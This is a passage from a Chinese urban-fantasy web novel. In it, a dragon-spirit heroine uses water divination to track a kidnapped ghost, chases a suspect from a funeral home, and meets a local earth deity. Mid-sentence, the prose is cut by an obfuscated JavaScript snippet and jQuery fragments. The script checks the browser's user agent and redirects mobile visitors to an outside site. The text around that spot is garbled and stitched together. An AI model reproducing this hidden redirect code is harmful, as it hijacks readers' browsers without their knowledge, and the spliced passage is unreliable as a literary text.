刘珂是郑宇俊的现女友。
昨天夜里,陈秘书知会过她父亲可能存在的风险后,她父亲以祈福的名义,连夜把她和家中女眷打包送去了明光寺“小住”。
上午一切如常,直到下午,刘珂感到无聊,不顾阻拦强行离开。
回市区的路上,她发生了严重车祸,尸检结果和行车记录显示,在碰撞发生前,她就已经因为心源性猝死失能。
陈秘书:“崇真观的周主任,和您看法一致。”
“我知道了。”应真潇神色平静,就像酝酿着风暴的水面:“事情我会解决。”
陈述句。
她唇角微勾,却没有笑意:“入室绑架,这已经不是一般的歹徒了,必须重拳出击。”
租来的酒店也是寝宫,这要是被他逃了,应真潇的脸面往哪搁。
挂断电话,应真潇向曾照云简要交代了奉嘉禾罹难的始末,以及她现在的猜测。
“这、这……怎么会这样……”曾照云脸色立刻变得惨白,身形摇摇欲坠。
但她知道当务之急是解决眼下的问题,稳住心神,握着应真潇的手,就像握着救命稻草:“小应,咱们怎么才能找到苗苗?我能帮上点什么?查监控?”
“监控看不到。”应真潇摇摇头,走进洗手间,接了一杯自来水:“但水知道。”
凡间的一切动向,都有元炁流通的踪迹;元炁的流通,会在土地与水体中留下痕迹。
而龙族,尤其擅长从水体中搜寻此类痕迹,族中谓此术法曰“责水”。
应真潇将杯中水泼在台面上,一手按着龙蛋,一手忍着剧痛,指尖轻点大团水渍:“去!”
在曾照云震惊的眼光中——这冲击并不比奉嘉禾现形来得小,水渍开始剧烈的颤抖起来,随后蜿蜒着,变成三个歪歪扭扭的字迹:团结垸。
应真潇“啧”了一声。
还真是无巧不成书,团结垸就在她明天出差要去的南应市。
更巧的是——团结垸就在应真湖边上。
随后,水渍又变幻成“安”字,这证明奉嘉禾现在是安全的。
应真潇松了口气,奉嘉禾是厉鬼,灵力水平并不低,短时间内,郑宇俊也没办法拿她怎么样;所以她更担心奉嘉禾受到刺激后,再次失去理智,伤害无辜者甚至大开杀戒。
现在看来,暂时没有风险。
曾照云:“地址可以更精确一些吗?”
“权限不够。”应真潇摇头。
她用的是小崽的账号,只能问到普通龙族的程度;更精确的地址,需要龙王的权能,否则“根据相关法律规定,不予显示”。
她提了提自己的行程,让曾照云稍安毋躁:“我明天就去南应。”
曾照云神色坚定:“我也去。小应,你说个章程,我来安排。”
“你还不知道吧,小应,”她笑了笑,声音却有些颤抖:“苗苗她爸爸就是在团结垸牺牲的。”
……
翌日,远潮集团一行人落地南应市慈恩机场。
陆雁书是来考察、敲定新合作的,本地主管官员热情接待,应真潇落在后面,和梁博偷偷说话。
“确定我离队没问题吗,梁助?”应真潇说:“实在不行,记我旷工也可以。”
梁博颔首:“应助理处理好公司的事务即可,其余时间可以自由支配,考察团没有安排您的日程。”
她是被安排进来混补贴的,早先敲定的行程和她无关,她自由活动,无关紧要。
应真潇点点头:“放心。”
说完,她背着双肩包往接驳车方向走。
“应真潇。”正在和书记寒暄的陆雁书叫住了她。
应真潇“嗯”了一声,走过去:“陆总。”
“……注意安全。”陆雁书语气淡淡:“有任何问题,联系我或者梁博。”
伴随着一股浅淡的水的味道,平静、包容又坚定。
应真潇喉咙痒痒,想问他“什么事都兜得住吗?”,但考虑到领导就在身边,开玩笑有碍观瞻,她还是绷住了,点点头,礼貌克制:“好。”
背过头去,她嘴角忍不住勾起来,脚步也显得轻快。
这家伙长得帅,身上香香的,一本正经说话的样子怪有意思,真是讨龙喜欢。
曾照云买了同一航班的机票,正在接驳车上等她,昨晚似乎没休息好,看着有些憔悴,但神情却十分坚定。
两人走普通乘客通道出站,曾照云带着应真潇去停车场,从保安处拿了钥匙:“我以前同事家里的车,借过来开几天——有车总归比较方便。”
应真潇点点头,打开地图软件导航,直奔南应市殡仪馆——按照陈秘书给的信息,郑宇俊今天下午会到殡仪馆,领取他父亲的骨灰。
两人刚到殡仪馆停车场,就发现了郑宇俊,他捧着骨灰盒,正从往停车场走,看起来不修边幅,神情萎靡又显出诡异的亢奋。
“我去拖住他,”应真潇说:“阿姨,你去叫一下保卫处的人。我估计他不会轻易就范。”
她如果是龙身,十个郑宇俊捆一起都不够她一回之敌;但现在她是人,不能确定是否按得住一个完全不配合的大男人。
曾照云点点头,动作轻巧地下车,猫着腰从车后面绕去保安亭。
应真潇下车:“郑宇俊。”
郑宇俊回头,看到是她,下意识后退一步,姿态警惕。
“下午好。”应真潇摘下墨镜:“听说令尊仙逝,节哀。”
不,这不对。
直觉告诉郑宇俊,应真潇不应该出现在这里,更不应该和他这样说话,他看着应真潇,将骨灰盒挡在胸前,神情警惕且沉默。
“别紧张,”应真潇微微一笑:“只是找你问点事。”
郑宇俊声音沙哑:“我和你没什么可说的。”
“没话说?”应真潇说:“那天我回气象局,不是还特意来找我说话么?这才过了几天,怎么就和我没话说了?”
保安亭传来一阵脚步声,郑宇俊犹如惊弓之鸟,猛然回头,却看见了领着保安的曾照云,瞳孔骤缩。
他立马意识到,应真潇来者不善,搭讪只是在拖延时间,猛然把手里的骨灰盒,砸向应真潇,自己则连滚带爬地冲向一辆车。
应真潇:……
有点好孝:)
来不及多想,她撩起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447598|169451||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一脚,踢飞了骨灰盒,骨灰盒掉落在地上,扬起一阵剧烈的沙尘。
“你、你别跑!”曾照云急得一拍大腿,赶紧过来扶着应真潇:“潇潇,你没事吧潇潇,有没有受伤?”
应真潇被呛得直咳嗽,意识到自己吸进去了什么之后,她表情扭曲了一下,往车上走,语气不太平稳:“我没事,阿姨,赶紧追。”
“行。”曾照云点点头,也快步上车,一边启动汽车,一边交代还在发懵的保安:“师傅,麻烦你收拾一下!”
她甚少亲自开车,车技只能说勉强;南应市交通秩序也远不如江城,马路上乱窜的电动车、行人甚至是汽车众多,曾照云咬着牙,开得额头都冒汗了,才堪堪追上郑宇俊。
两人一路追到乡镇,拐过一个弯的时候,应真潇突然道:“刹车!”
曾照云下意识照做,死死踩住刹车,随后睁大双眸:面前竟然是一块山石,距离近得令人直冒冷汗。
——竟然是一条断头路!
“怎么没路了?”曾照云着急地拍了一把方向盘,汽车发出尖锐的鸣笛声。
应真潇按着滴溜溜转,试图给她预警的小崽,冷静道:“改易地局之法。看来,他找到了帮手。”
“那怎么办?”曾照云问。
应真潇张口欲言,却看见车边浮现一个身影,是一个身着古装,身材瘦小的老太婆,朝她作揖,又指了指曾照云,似有话要说。
是本地土地神。
她挑眉,话又咽回肚子里,从包里抽出修眉刀,问曾照云:“阿姨,能接受一些不太科学的东西吗?”
“可以!”曾照云一口答应:“只要能救回苗苗,要我的命我都愿意!”
应真潇点点头,用修眉刀割破小指,用力一挤,血肉撕裂和灵力汇聚的疼痛叠加,她咬着牙:“闭眼!”
曾照云照做,应真潇将指腹的血珠抹到曾照云眼皮上,一边抹,一边给她打预防针:“阿姨,等下你看到的是本地的土地神,不是鬼。”
饶是如此,曾照云睁眼的时候,还是被突然出现的土地婆吓了一跳,下意识地往后一靠。
“小神问这位高功安,”土地婆作揖:“问曾老爷安。”
应真潇纳闷:“什么老爷?”
这看着不像是日行一善来的,倒像是和曾照云有前缘。
“咳……”曾照云有点不好意思,放下车窗,小声道:“我是上一届南应市书记。”
土地婆点点头,自述是此地土地神,见曾照云遇到难事,特来相助:“曾老爷主政时勤政爱民,福泽一方,不但百姓安居乐业,小神亦承老爷环……环境保护之恩德。”
应真潇点点头:“连本地土地都认可,阿姨真的给南应百姓办了很多实事啊。”
曾照云连忙说哪里哪里。
“老爷谦虚了。”土地婆笑道。
应真潇教育她:“现在是新社会,你叫主任就可以了,不然要是让纪委听到,你就陷曾主任于不义了。”
土地婆点点头:“小神知道了,曾主任老爷。”
应真潇:……
“……算了。”她说:“先说正事,你知道什么情况?”